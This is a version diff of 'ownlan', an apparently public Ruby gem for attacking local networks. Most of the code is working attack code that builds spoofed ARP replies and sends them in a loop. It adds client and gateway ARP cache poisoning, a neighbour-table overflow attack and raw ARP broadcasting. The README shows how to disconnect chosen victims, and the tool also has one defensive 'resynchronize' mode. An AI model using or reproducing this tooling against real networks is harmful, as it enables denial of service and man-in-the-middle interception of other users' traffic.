ownlan 0.3.2 → 0.4.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/Gemfile.lock +1 -1
- data/README.md +54 -19
- data/lib/ownlan/application.rb +6 -5
- data/lib/ownlan/attack/base.rb +26 -5
- data/lib/ownlan/attack/client.rb +13 -7
- data/lib/ownlan/attack/gateway.rb +17 -8
- data/lib/ownlan/attack/ntoa.rb +2 -2
- data/lib/ownlan/cli.rb +16 -7
- data/lib/ownlan/config.rb +25 -9
- data/lib/ownlan/exceptions.rb +2 -0
- data/lib/ownlan/manual/broadcast.rb +33 -1
- data/lib/ownlan/protect/base.rb +5 -0
- data/lib/ownlan/protect/resynchronize.rb +27 -1
- data/lib/ownlan/service_objects/craft_arp_packets.rb +7 -14
- data/lib/ownlan/service_objects/network_information.rb +3 -3
- data/lib/ownlan/service_objects/send_arp_packets.rb +16 -17
- data/lib/ownlan/version.rb +1 -1
- data/lib/ownlan.rb +1 -1
- metadata +2 -5
- data/pkg/ownlan-0.1.0.gem +0 -0
- data/pkg/ownlan-0.3.0.gem +0 -0
- data/pkg/ownlan-0.3.1.gem +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 0116861dd003de1e992f9ab248fdf15e3298572f
|
4
|
+
data.tar.gz: 441ba24e75b87357b872687559ff8c0f4edfbf9f
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 8ce3c7dd9c3ce95cc66fc31cd8cf914f1b3397617a74a42650ac10229a8d2ada14699f9af48c95dafbc837b644ccd0f64609c9b2de62b1655a35bcaf35f4ce20
|
7
|
+
data.tar.gz: 77813ea23512ea33d6c22485241735070d151d005ff46300bf9d007cdc660af47d163033104a3f56129b44f4b087fd8ae8b25333a841e42e50e557c74237ac35
|
data/Gemfile.lock
CHANGED
data/README.md
CHANGED
@@ -26,8 +26,6 @@ And require it in your application:
|
|
26
26
|
|
27
27
|
## Usage
|
28
28
|
|
29
|
-
Please look at the [cli section](#command-line-interface) for advanced option.
|
30
|
-
|
31
29
|
### Configuration ###
|
32
30
|
You can pass multiple variables that will be used in the gem.
|
33
31
|
|
@@ -43,16 +41,37 @@ end
|
|
43
41
|
|
44
42
|
You can also pass any of those options inline when loading an instance of Ownlan.
|
45
43
|
|
46
|
-
```
|
47
|
-
Ownlan.new(attack: 'ntoa', victim_ip: '192.168.0.1', delay: 1.5, random_mac: true)
|
44
|
+
```ruby
|
45
|
+
ownlan = Ownlan.new(attack: 'ntoa', victim_ip: '192.168.0.1', delay: 1.5, random_mac: true)
|
48
46
|
```
|
47
|
+
|
48
|
+
## Launch Ownlan ##
|
49
|
+
|
50
|
+
### In your Ruby code ###
|
51
|
+
|
52
|
+
Once configured, you can run your instance of Ownlan with:
|
53
|
+
|
54
|
+
```ruby
|
55
|
+
ownlan.call
|
56
|
+
```
|
57
|
+
|
58
|
+
You are free to implement whatever way of your choice to handle concurrency: you can put this previous line in a `thread` for instance.
|
59
|
+
|
60
|
+
### Using the Command Line Interface ###
|
61
|
+
|
62
|
+
```sh
|
63
|
+
ownlan --attack client --target-ip 192.168.0.1 --interface eth0 --delay 0
|
64
|
+
```
|
65
|
+
|
66
|
+
Please look at the [cli section](#command-line-interface) for more advanced options.
|
67
|
+
|
49
68
|
## Features
|
50
69
|
|
51
70
|
**OwnLan** has four features:
|
52
71
|
|
53
72
|
1. Disconnect one or several users off the wire
|
54
|
-
2. Protecting users from
|
55
|
-
3. Sending custom ARP + DHCP packets easily
|
73
|
+
2. Protecting users from those kind of attacks
|
74
|
+
3. Sending custom ARP + DHCP packets easily
|
56
75
|
4. Easy ARP packets capture *[Not Implemented]*
|
57
76
|
|
58
77
|
### Disconnecting users off the wire
|
@@ -76,45 +95,61 @@ You can also use the provided executable. Simple launch it in accordance to the
|
|
76
95
|
|
77
96
|
ownlan --[options] [sub-options] --[other-option]
|
78
97
|
|
79
|
-
|
80
98
|
- Where [options] are either:
|
81
99
|
|
82
100
|
|
83
|
-
-a, --attack=<s>
|
101
|
+
-a, --attack=<s> Set an attack on a device on the network
|
102
|
+
* Required: [sub-options]
|
84
103
|
-p, --protect=<s> Protect a device from lan attacks
|
85
|
-
|
86
|
-
-
|
104
|
+
* Required: [sub-options]
|
105
|
+
-b, --broadcast=<s> Broadcast raw ARP packets to the wire.
|
106
|
+
* Required Options : victim_ip, victim_mac, source_ip, source_mac
|
107
|
+
-c, --capture=<s> Sniffing ARP packets on the network [Not Implemented]
|
87
108
|
|
88
109
|
|
89
110
|
- where [sub-options] are either:
|
90
111
|
|
112
|
+
|
91
113
|
client Set a First-Duplex disconnection attack (the client is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
|
92
114
|
* Required options: victim_ip
|
115
|
+
* Falcultative options: random_source_mac , source_mac
|
93
116
|
gateway Set a Second-Duplex disconnection attack (the gateway is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
|
94
117
|
* Required options: victim_ip
|
118
|
+
* Falcultative options: random_source_mac , source_mac
|
95
119
|
ntoa The client is targeted to get disconnected, using a neighbour table overflow attack. Requires a victim ip.
|
96
120
|
* Required options: victim_ip
|
97
121
|
* Falcultative options: random_source_mac
|
98
122
|
fake-ip-conflict Generate a fake ip conflict to the victim. Can be used along all the others attacks, or alone.
|
99
|
-
* Required options: victim_ip
|
123
|
+
* Required options: victim_ip [Not Implemented]
|
124
|
+
|
125
|
+
resynchronize Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway. Default params are your mac and the gateway's mac. WARNING: If your gateway_mac is the attacker's, this protection won't work. In this case, input the gateway's mac manually.
|
126
|
+
* Optional options: victim_mac , gateway_mac
|
127
|
+
stealth Becomes invisible from network scanners, preventing you from getting targeted. [Not Implemented]
|
128
|
+
static Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning. [Not Implemented]
|
129
|
+
freeze Reset and Freeze your ARP Cache. Good against NTOAs. [Not Implemented]
|
130
|
+
|
100
131
|
|
101
|
-
stealth Becomes invisible from network scanners, preventing you from getting targeted.
|
102
|
-
static Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning.
|
103
|
-
freeze Reset and Freeze your ARP Cache. Good against NTOAs.
|
104
|
-
resynchronize Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway
|
105
132
|
attack. (reveive IP or MAC argument)
|
106
133
|
|
107
134
|
|
108
135
|
- Where [Other Options] can be:
|
109
136
|
|
137
|
+
|
110
138
|
-d, --delay=<f> Set the time lapse delay between each packet (default: 0.5)
|
111
139
|
-i, --interface=<s> Set the network interface which will be used (default: wlan0)
|
112
|
-
-r, --random-source-mac If setted, the used origin addresses will be randomly generated.
|
113
|
-
-
|
140
|
+
-r, --random-source-mac If setted, the used origin addresses will be randomly generated.
|
141
|
+
-t, --victim-ip=<s> Set the ip address of the target.
|
142
|
+
-v, --victim-mac=<s> Set the mac address of the target
|
143
|
+
-g, --gateway-ip=<s> Set the ip adress of the gateway
|
144
|
+
-e, --gateway-mac=<s> Set the mac adress of the gateway. (for Protect only)
|
145
|
+
-s, --source-mac=<s> Set the mac of the source mac address. Default: Your mac address for wlan0 (00:c0:ca:69:0f:a9)
|
146
|
+
-o, --source-ip=<s> Set the ip address of the originating packet.
|
147
|
+
-n, --version Print version and exit
|
114
148
|
-h, --help Show this message
|
115
149
|
|
116
150
|
|
117
151
|
|
152
|
+
|
118
153
|
## Versioning
|
119
154
|
|
120
155
|
__Ownlan__ follows [Semantic Versioning 2.0](http://semver.org/).
|
@@ -127,10 +162,10 @@ __Ownlan__ follows [Semantic Versioning 2.0](http://semver.org/).
|
|
127
162
|
4. Push to the branch (`git push origin my-new-feature`)
|
128
163
|
5. Create a new Pull Request
|
129
164
|
|
130
|
-
|
165
|
+
## Contact
|
131
166
|
|
132
167
|
Any question ? Feel free to contact me at `contact(at)sidney.email` .
|
133
|
-
Any
|
168
|
+
Any issue ? Open a [ticket](https://github.com/shideneyu/ownlan/issues) !
|
134
169
|
|
135
170
|
## License
|
136
171
|
|
data/lib/ownlan/application.rb
CHANGED
@@ -1,15 +1,16 @@
|
|
1
1
|
module Ownlan
|
2
2
|
class Application
|
3
3
|
|
4
|
-
attr_reader :raw_options, :config
|
4
|
+
attr_reader :raw_options, :config_options, :config
|
5
5
|
|
6
6
|
def initialize(options)
|
7
7
|
@raw_options = options
|
8
8
|
|
9
9
|
@config = ::Ownlan.config.dup
|
10
10
|
|
11
|
-
config_options = raw_options.reject{ |k, v| k.to_s.match('_given') || !v }
|
12
|
-
|
11
|
+
@config_options = raw_options.reject{ |k, v| k.to_s.match('_given') || !v }
|
12
|
+
|
13
|
+
set_options
|
13
14
|
end
|
14
15
|
|
15
16
|
def call
|
@@ -28,7 +29,7 @@ module Ownlan
|
|
28
29
|
raise ::Ownlan::MissingArgumentError, 'Missing or Invalid parameter.'
|
29
30
|
end
|
30
31
|
|
31
|
-
def set_options
|
32
|
+
def set_options
|
32
33
|
config_options.each { |k, v| config.send("#{k}=", v) }
|
33
34
|
end
|
34
35
|
|
@@ -40,7 +41,7 @@ module Ownlan
|
|
40
41
|
end
|
41
42
|
|
42
43
|
def good_args?(type, mode)
|
43
|
-
raw_options[type] == mode.to_s
|
44
|
+
raw_options[type] == mode.to_s || config_options.keys.to_set.intersect?(config.manual_sub_modes.to_set)
|
44
45
|
end
|
45
46
|
|
46
47
|
end
|
data/lib/ownlan/attack/base.rb
CHANGED
@@ -2,12 +2,28 @@ module Ownlan
|
|
2
2
|
module Attack
|
3
3
|
class Base
|
4
4
|
|
5
|
-
attr_reader :config
|
5
|
+
attr_reader :config, :crafted_packet
|
6
6
|
|
7
7
|
def initialize(config)
|
8
8
|
@config = config
|
9
9
|
end
|
10
10
|
|
11
|
+
|
12
|
+
def ip_to_mac(ip = nil)
|
13
|
+
if ip == ServiceObjects::NetworkInformation.self_ip(config.interface)
|
14
|
+
mac = ServiceObjects::NetworkInformation.self_mac(config.interface)
|
15
|
+
else
|
16
|
+
mac = ::PacketFu::Utils::arp(ip, iface: config.interface)
|
17
|
+
mac ||= raise ::Ownlan::VictimNotReachable, "#{ip}'s mac address cannot be guessed."
|
18
|
+
end
|
19
|
+
rescue RuntimeError
|
20
|
+
raise ::Ownlan::NotRoot, "Please rerun this tool with root privileges."
|
21
|
+
rescue ArgumentError
|
22
|
+
raise ::Ownlan::WrongVictimIpFormat, "#{ip} is not a valid ip format."
|
23
|
+
rescue StandardError
|
24
|
+
raise ::Ownlan::WrongInterace, "#{config.interface} is not ready? Retry again"
|
25
|
+
end
|
26
|
+
|
11
27
|
private
|
12
28
|
|
13
29
|
def victim_ip
|
@@ -15,15 +31,20 @@ module Ownlan
|
|
15
31
|
end
|
16
32
|
|
17
33
|
def victim_mac
|
18
|
-
|
19
|
-
mac ||= raise ::Ownlan::VictimNotReachable, "#{victim_ip}'s mac address cannot be guessed."
|
20
|
-
rescue ArgumentError
|
21
|
-
raise ::Ownlan::WrongVictimIpFormat, "#{victim_ip} is not a valid ip format."
|
34
|
+
ip_to_mac(victim_ip)
|
22
35
|
end
|
23
36
|
|
24
37
|
def self_mac
|
25
38
|
ServiceObjects::NetworkInformation.self_mac(config.interface)
|
26
39
|
end
|
40
|
+
|
41
|
+
def packet_craft(*params)
|
42
|
+
ServiceObjects::CraftArpPacket.new(*params)
|
43
|
+
end
|
44
|
+
|
45
|
+
def send_packet
|
46
|
+
ServiceObjects::SendArpPackets.new(config, crafted_packet).call
|
47
|
+
end
|
27
48
|
end
|
28
49
|
end
|
29
50
|
end
|
data/lib/ownlan/attack/client.rb
CHANGED
@@ -3,15 +3,21 @@ module Ownlan
|
|
3
3
|
class Client < Base
|
4
4
|
|
5
5
|
def process
|
6
|
-
|
7
|
-
client_mac = PacketFu::Utils::arp(config.client_ip, :iface => config.interface)
|
6
|
+
generate_packet
|
8
7
|
|
9
|
-
|
10
|
-
|
8
|
+
send_packet
|
9
|
+
end
|
10
|
+
|
11
|
+
def generate_packet(target_ip = nil)
|
12
|
+
gw_ip = ServiceObjects::NetworkInformation.gateway_ip
|
13
|
+
|
14
|
+
saddr = config.source_mac
|
15
|
+
daddr = config.victim_mac || victim_mac
|
11
16
|
saddr_ip = gw_ip
|
12
|
-
daddr_ip =
|
13
|
-
|
14
|
-
|
17
|
+
daddr_ip = victim_ip
|
18
|
+
|
19
|
+
|
20
|
+
@crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
|
15
21
|
end
|
16
22
|
end
|
17
23
|
end
|
@@ -3,19 +3,28 @@ module Ownlan
|
|
3
3
|
class Gateway < Base
|
4
4
|
|
5
5
|
def process
|
6
|
-
|
7
|
-
gw_mac = PacketFu::Utils::arp(gw_ip, :iface => interface)
|
6
|
+
generate_packet
|
8
7
|
|
9
|
-
|
8
|
+
send_packet
|
9
|
+
end
|
10
|
+
|
11
|
+
def generate_packet
|
12
|
+
gw_ip = ServiceObjects::NetworkInformation.gateway_ip
|
13
|
+
|
14
|
+
saddr = config.source_mac
|
15
|
+
daddr = config.gateway_mac || gateway_mac(gw_ip)
|
10
16
|
|
11
|
-
|
12
|
-
saddr_ip = config.client_ip
|
17
|
+
saddr_ip = victim_ip
|
13
18
|
daddr_ip = gw_ip
|
14
19
|
|
15
|
-
crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip
|
16
|
-
send_packet(config.delay, config.interface, crafted_packet)
|
20
|
+
@crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
|
17
21
|
end
|
18
22
|
|
23
|
+
private
|
24
|
+
|
25
|
+
def gateway_mac(gw_ip)
|
26
|
+
ip_to_mac(gw_ip)
|
27
|
+
end
|
19
28
|
end
|
20
29
|
end
|
21
|
-
end
|
30
|
+
end
|
data/lib/ownlan/attack/ntoa.rb
CHANGED
@@ -13,7 +13,7 @@ module Ownlan
|
|
13
13
|
saddr_ip = "#{source_ip_base}.#{@b}.#{@c}"
|
14
14
|
daddr_ip = victim_ip
|
15
15
|
|
16
|
-
crafted_packet =
|
16
|
+
crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
|
17
17
|
|
18
18
|
loop do
|
19
19
|
while @a < 100 do
|
@@ -43,7 +43,7 @@ module Ownlan
|
|
43
43
|
private
|
44
44
|
|
45
45
|
def source_ip_base
|
46
|
-
ServiceObjects::NetworkInformation.self_ip.to_s.split('.')[0..1].join('.')
|
46
|
+
ServiceObjects::NetworkInformation.self_ip(config.interface).to_s.split('.')[0..1].join('.')
|
47
47
|
end
|
48
48
|
|
49
49
|
def source_mac(a=nil, b=nil, c=nil)
|
data/lib/ownlan/cli.rb
CHANGED
@@ -20,7 +20,7 @@ EOS
|
|
20
20
|
|
21
21
|
opt :attack, "Set an attack on a device on the network", short: 'a', type: :string
|
22
22
|
opt :protect, "Protect a device from lan attacks", short: 'p', type: :string
|
23
|
-
opt :broadcast, "Inject ARP crafted packets in the wire", short: 'b'
|
23
|
+
opt :broadcast, "Inject ARP crafted packets in the wire", short: 'b'
|
24
24
|
opt :capture, "Sniffing ARP packets on the network", short: 'c', type: :string
|
25
25
|
|
26
26
|
# Attack part
|
@@ -28,11 +28,13 @@ banner <<-EOS
|
|
28
28
|
|
29
29
|
where [sub-options] are either:
|
30
30
|
|
31
|
-
Attacks sub-options
|
31
|
+
Attacks sub-options:
|
32
32
|
client Set a First-Duplex disconnection attack (the client is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
|
33
33
|
* Required options: victim_ip
|
34
|
+
* Falcultative options: random_source_mac , source_mac
|
34
35
|
gateway Set a Second-Duplex disconnection attack (the gateway is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
|
35
36
|
* Required options: victim_ip
|
37
|
+
* Falcultative options: random_source_mac , source_mac
|
36
38
|
ntoa The client is targeted to get disconnected, using a neighbour table overflow attack. Requires a victim ip.
|
37
39
|
* Required options: victim_ip
|
38
40
|
* Falcultative options: random_source_mac
|
@@ -48,14 +50,17 @@ Protect sub-options:
|
|
48
50
|
stealth Becomes invisible from network scanners, preventing you from getting targeted.
|
49
51
|
static Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning.
|
50
52
|
freeze Reset and Freeze your ARP Cache. Good against NTOAs.
|
51
|
-
resynchronize Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway attack.
|
53
|
+
resynchronize Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway attack. Default params are your mac and the gateway's mac. WARNING: If your gateway_mac is the attacker's, this protection won't work. In this case, input the gateway's mac manually.
|
54
|
+
* Required options: target_ip
|
55
|
+
* Optional options: target_mac , gateway_mac
|
52
56
|
|
53
57
|
EOS
|
54
58
|
|
55
59
|
# Broadcast part
|
56
60
|
banner <<-EOS
|
57
61
|
|
58
|
-
Send
|
62
|
+
Broadcast: Send raw ARP packets to the wire.
|
63
|
+
* Required Options : victim_ip, victim_mac, source_ip, source_mac
|
59
64
|
|
60
65
|
EOS
|
61
66
|
|
@@ -73,9 +78,13 @@ Other Options:
|
|
73
78
|
|
74
79
|
opt :delay, "Set the time lapse delay between each packet", default: 0.5
|
75
80
|
opt :interface, "Set the network interface which will be used", short: 'i', default: 'wlan0'
|
76
|
-
opt :random_source_mac, "If setted, the used origin addresses will be randomly generated.
|
77
|
-
opt :victim_ip, "Set the ip of the target
|
78
|
-
opt :
|
81
|
+
opt :random_source_mac, "If setted, the used origin addresses will be randomly generated."
|
82
|
+
opt :victim_ip, "Set the ip address of the target.", short: 't', type: :string
|
83
|
+
opt :victim_mac, "Set the mac address of the target", type: :string
|
84
|
+
opt :gateway_ip, "Set the ip adress of the gateway", type: :string
|
85
|
+
opt :gateway_mac, "Set the mac adress of the gateway. (for Protect only)", type: :string
|
86
|
+
opt :source_mac, "Set the mac of the source mac address. #{mac=ServiceObjects::NetworkInformation.self_mac('wlan1') ; 'Default: Your mac address for wlan0 (' + mac + ')' if !mac.empty?}", short: 's', type: :string
|
87
|
+
opt :source_ip, "Set the ip address of the originating packet.", type: :string
|
79
88
|
|
80
89
|
end
|
81
90
|
end
|
data/lib/ownlan/config.rb
CHANGED
@@ -22,17 +22,36 @@ module Ownlan
|
|
22
22
|
|
23
23
|
class Configuration
|
24
24
|
|
25
|
-
attr_accessor :attack, :protect, :broadcast, :capture, :client, :gateway, :ntoa, :fake_ip_conflict, :stealth,
|
26
|
-
:
|
25
|
+
attr_accessor :attack, :protect, :broadcast, :capture, :client, :gateway, :ntoa, :fake_ip_conflict, :stealth, :static,
|
26
|
+
:freeze, :resynchronize, :delay, :interface, :version, :help, :victim_ip, :victim_mac, :gateway_ip,
|
27
|
+
:gateway_mac, :source_ip, :source_mac, :random_mac, :modes
|
28
|
+
|
29
|
+
alias :target_ip :victim_ip
|
30
|
+
alias :target_ip= :victim_ip=
|
31
|
+
|
32
|
+
alias :target_mac :victim_mac
|
33
|
+
alias :target_mac= :victim_mac=
|
27
34
|
|
28
35
|
# Create a new instance.
|
29
36
|
#
|
30
37
|
# @return [Ownlan::Configuration]
|
31
38
|
def initialize
|
32
|
-
@modes
|
33
|
-
@interface
|
34
|
-
@delay
|
35
|
-
|
39
|
+
@modes = { attack: attack_sub_modes, protect: protect_sub_modes, manual: manual_sub_modes }
|
40
|
+
@interface = 'wlan0'
|
41
|
+
@delay = 0.5
|
42
|
+
end
|
43
|
+
|
44
|
+
def source_mac
|
45
|
+
@source_mac ||= if self.victim_ip
|
46
|
+
::ServiceObjects::NetworkInformation.self_mac(interface)
|
47
|
+
else
|
48
|
+
gateway_ip = ServiceObjects::NetworkInformation.gateway_ip
|
49
|
+
mac = ::Ownlan::Attack::Base.new(self).ip_to_mac(gateway_ip)
|
50
|
+
end
|
51
|
+
end
|
52
|
+
|
53
|
+
def manual_sub_modes
|
54
|
+
[:broadcast, :capture]
|
36
55
|
end
|
37
56
|
|
38
57
|
private
|
@@ -49,8 +68,5 @@ module Ownlan
|
|
49
68
|
[:freeze, :resynchronize, :static, :stealth]
|
50
69
|
end
|
51
70
|
|
52
|
-
def manual_sub_modes
|
53
|
-
[:broadcast, :capture]
|
54
|
-
end
|
55
71
|
end
|
56
72
|
end
|
data/lib/ownlan/exceptions.rb
CHANGED
@@ -1,6 +1,38 @@
|
|
1
1
|
module Ownlan
|
2
2
|
module Manual
|
3
3
|
class Broadcast
|
4
|
+
|
5
|
+
attr_reader :config, :crafted_packet
|
6
|
+
|
7
|
+
def initialize(config)
|
8
|
+
@config = config
|
9
|
+
end
|
10
|
+
|
11
|
+
def process
|
12
|
+
generate_packet
|
13
|
+
|
14
|
+
send_packet
|
15
|
+
end
|
16
|
+
|
17
|
+
def generate_packet
|
18
|
+
saddr = config.source_mac
|
19
|
+
daddr = config.victim_mac
|
20
|
+
saddr_ip = config.source_ip
|
21
|
+
daddr_ip = config.victim_ip
|
22
|
+
|
23
|
+
|
24
|
+
@crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call
|
25
|
+
end
|
26
|
+
|
27
|
+
private
|
28
|
+
|
29
|
+
def packet_craft(*params)
|
30
|
+
ServiceObjects::CraftArpPacket.new(*params)
|
31
|
+
end
|
32
|
+
|
33
|
+
def send_packet
|
34
|
+
ServiceObjects::SendArpPackets.new(config, crafted_packet).call
|
35
|
+
end
|
4
36
|
end
|
5
37
|
end
|
6
|
-
end
|
38
|
+
end
|
data/lib/ownlan/protect/base.rb
CHANGED
@@ -1,6 +1,32 @@
|
|
1
1
|
module Ownlan
|
2
2
|
module Protect
|
3
|
-
class Resynchronize
|
3
|
+
class Resynchronize < Base
|
4
|
+
|
5
|
+
attr_reader :gateway_packet, :client_packet
|
6
|
+
|
7
|
+
def process
|
8
|
+
config.source_mac = gateway_mac
|
9
|
+
@gateway_packet = Ownlan::Attack::Client.new(config).generate_packet
|
10
|
+
|
11
|
+
config.source_mac = client_mac
|
12
|
+
@client_packet = Ownlan::Attack::Gateway.new(config).generate_packet
|
13
|
+
|
14
|
+
send
|
15
|
+
end
|
16
|
+
|
17
|
+
def send
|
18
|
+
ServiceObjects::SendArpPackets.new(config, [gateway_packet, client_packet]).call
|
19
|
+
end
|
20
|
+
|
21
|
+
|
22
|
+
def gateway_mac
|
23
|
+
gateway_ip = ServiceObjects::NetworkInformation.gateway_ip
|
24
|
+
mac = ::Ownlan::Attack::Base.new(config).ip_to_mac(gateway_ip)
|
25
|
+
end
|
26
|
+
|
27
|
+
def client_mac
|
28
|
+
::Ownlan::Attack::Base.new(config).ip_to_mac(config.target_ip)
|
29
|
+
end
|
4
30
|
end
|
5
31
|
end
|
6
32
|
end
|
@@ -1,19 +1,9 @@
|
|
1
1
|
module ServiceObjects
|
2
2
|
class CraftArpPacket
|
3
|
-
attr_reader :saddr, :daddr, :saddr_ip, :daddr_ip
|
4
3
|
|
5
|
-
|
6
|
-
@delay = config.delay
|
7
|
-
@interface = config.interface
|
4
|
+
attr_reader :packet
|
8
5
|
|
9
|
-
|
10
|
-
@daddr = daddr
|
11
|
-
@saddr_ip = saddr_ip
|
12
|
-
@daddr_ip = daddr_ip
|
13
|
-
|
14
|
-
end
|
15
|
-
|
16
|
-
def call
|
6
|
+
def initialize(saddr, daddr, saddr_ip, daddr_ip)
|
17
7
|
arp_packet = ::PacketFu::ARPPacket.new
|
18
8
|
|
19
9
|
arp_packet.eth_saddr = saddr
|
@@ -22,10 +12,13 @@ module ServiceObjects
|
|
22
12
|
arp_packet.arp_daddr_mac = daddr
|
23
13
|
arp_packet.arp_saddr_ip = saddr_ip
|
24
14
|
arp_packet.arp_daddr_ip = daddr_ip
|
25
|
-
arp_packet.arp_opcode =
|
15
|
+
arp_packet.arp_opcode = 2
|
26
16
|
|
27
|
-
arp_packet
|
17
|
+
@packet = arp_packet
|
28
18
|
end
|
29
19
|
|
20
|
+
def call
|
21
|
+
packet
|
22
|
+
end
|
30
23
|
end
|
31
24
|
end
|
@@ -1,15 +1,15 @@
|
|
1
1
|
module ServiceObjects
|
2
2
|
class NetworkInformation
|
3
3
|
def self.self_mac(interface)
|
4
|
-
@self_mac ||= `ifconfig
|
4
|
+
@self_mac ||= `ifconfig "#{interface}" | head -n1 | tr -s ' ' | cut -d' ' -f5`.strip
|
5
5
|
end
|
6
6
|
|
7
7
|
def self.gateway_ip
|
8
8
|
@gateway_ip ||= `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`.strip
|
9
9
|
end
|
10
10
|
|
11
|
-
def self.self_ip
|
12
|
-
@self_ip ||=
|
11
|
+
def self.self_ip(interface)
|
12
|
+
@self_ip ||= `ip addr ls "#{interface}" | awk '/inet / {print $2}' | cut -d"/" -f1`.strip
|
13
13
|
end
|
14
14
|
end
|
15
15
|
end
|
@@ -1,27 +1,26 @@
|
|
1
1
|
module ServiceObjects
|
2
2
|
class SendArpPackets
|
3
|
-
|
3
|
+
attr_reader :config, :packets
|
4
4
|
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
5
|
+
def initialize(config, packets)
|
6
|
+
@config = config
|
7
|
+
@packets = [packets].flatten
|
8
|
+
end
|
9
9
|
|
10
|
-
|
11
|
-
|
10
|
+
def call
|
11
|
+
@i = 0
|
12
12
|
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
end
|
13
|
+
loop do
|
14
|
+
packets.each do |packet|
|
15
|
+
@i += 1
|
16
|
+
packet.to_w(config.interface)
|
18
17
|
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
18
|
+
print "\r The ARP packet has been sent successfully #{@i} times"
|
19
|
+
|
20
|
+
sleep config.delay
|
21
|
+
end
|
22
|
+
end
|
23
23
|
end
|
24
|
-
end
|
25
24
|
|
26
25
|
end
|
27
26
|
end
|
data/lib/ownlan/version.rb
CHANGED
data/lib/ownlan.rb
CHANGED
@@ -9,6 +9,7 @@ require 'ownlan/attack/gateway.rb'
|
|
9
9
|
require 'ownlan/attack/ntoa.rb'
|
10
10
|
require 'ownlan/manual/capture.rb'
|
11
11
|
require 'ownlan/manual/broadcast.rb'
|
12
|
+
require 'ownlan/protect/base.rb'
|
12
13
|
require 'ownlan/protect/freeze.rb'
|
13
14
|
require 'ownlan/protect/resynchronize.rb'
|
14
15
|
require 'ownlan/protect/static.rb'
|
@@ -23,7 +24,6 @@ require 'pry'
|
|
23
24
|
require 'packetfu'
|
24
25
|
|
25
26
|
|
26
|
-
|
27
27
|
module Ownlan
|
28
28
|
|
29
29
|
class << self
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: ownlan
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.
|
4
|
+
version: 0.4.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- sidney
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-01-
|
11
|
+
date: 2016-01-25 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: packetfu
|
@@ -147,9 +147,6 @@ files:
|
|
147
147
|
- lib/ownlan/service_objects/send_arp_packets.rb
|
148
148
|
- lib/ownlan/version.rb
|
149
149
|
- ownlan.gemspec
|
150
|
-
- pkg/ownlan-0.1.0.gem
|
151
|
-
- pkg/ownlan-0.3.0.gem
|
152
|
-
- pkg/ownlan-0.3.1.gem
|
153
150
|
homepage: https://github.com/shideneyu/ownlan
|
154
151
|
licenses:
|
155
152
|
- MIT
|
data/pkg/ownlan-0.1.0.gem
DELETED
Binary file
|
data/pkg/ownlan-0.3.0.gem
DELETED
Binary file
|
data/pkg/ownlan-0.3.1.gem
DELETED
Binary file
|